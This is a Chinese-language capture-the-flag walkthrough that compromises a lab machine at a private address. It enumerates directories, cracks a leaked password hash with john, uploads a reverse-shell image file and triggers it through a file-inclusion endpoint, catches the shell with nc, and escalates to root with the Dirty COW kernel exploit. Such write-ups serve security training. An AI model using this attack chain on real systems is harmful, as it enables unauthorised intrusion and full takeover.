首先还是进行nmap的扫描
发现是这个网站
接下来用dirb扫一下,发现一个development页面,打开看一下
打开发现给了一个登录框,还没法登陆,再看别的地方,继续扫一下备份文件,在linux系统里面bak结尾的备份文件比较多
dirb http://192.168.111.134 -X .bak //通过X参数设定后缀
扫到了bak文件,可以直接用curl读取一下,
curl http://192.168.111.134/index.html.bak
这里只要重点看注释里的内容,看起来是用户名密码组合,用户名frank,密码貌似是被加密的,把用户名密码用txt保存,用john解密一下
frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0: //还要加个冒号才能破解成功,不懂
john 1.txt --show
用获取到的这个用户名密码登陆刚刚的development目录里面的登录框
猜测还有一个uploader目录
上传一个图片马(反向连接的)
上传上去了但是不知道存储的位置
扫描一下8011端口的目录
访问文件接口
说要传一个文件名给它,我们尝试传给它我们刚刚上传的图片马名
可以读到文件
能读取到文件,可以尝试读取刚刚文件上传的那个php文件,以找到我们图片马上传的路径
这个文件直接被解析了,用php伪协议读一下就可以了
<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
在这个路径下
http://192.168.111.134/development/uploader/FRANKuploads/shell.gif
在刚刚的包含点包含一下,这个时候可以提前开启nc监听了
查看内核版本
只要内核版本大于2.4.22就可以使用脏牛提权
git clone https://github.com/FireFart/dirtycow.git
python -c 'import pty;pty.spawn("/bin/bash")' //交互窗口
转到var路径看一下文件目录,找一个比较高的用户权限目录上传脏牛,那个a可以
cd a
nc -l 1212 >dcow.tar.gz
nc 192.168.111.134 1212< dcow.tar.gz
tar -xzvf dcow.tar.gz
cd CVE-2016-5195-master
make
./dcow
su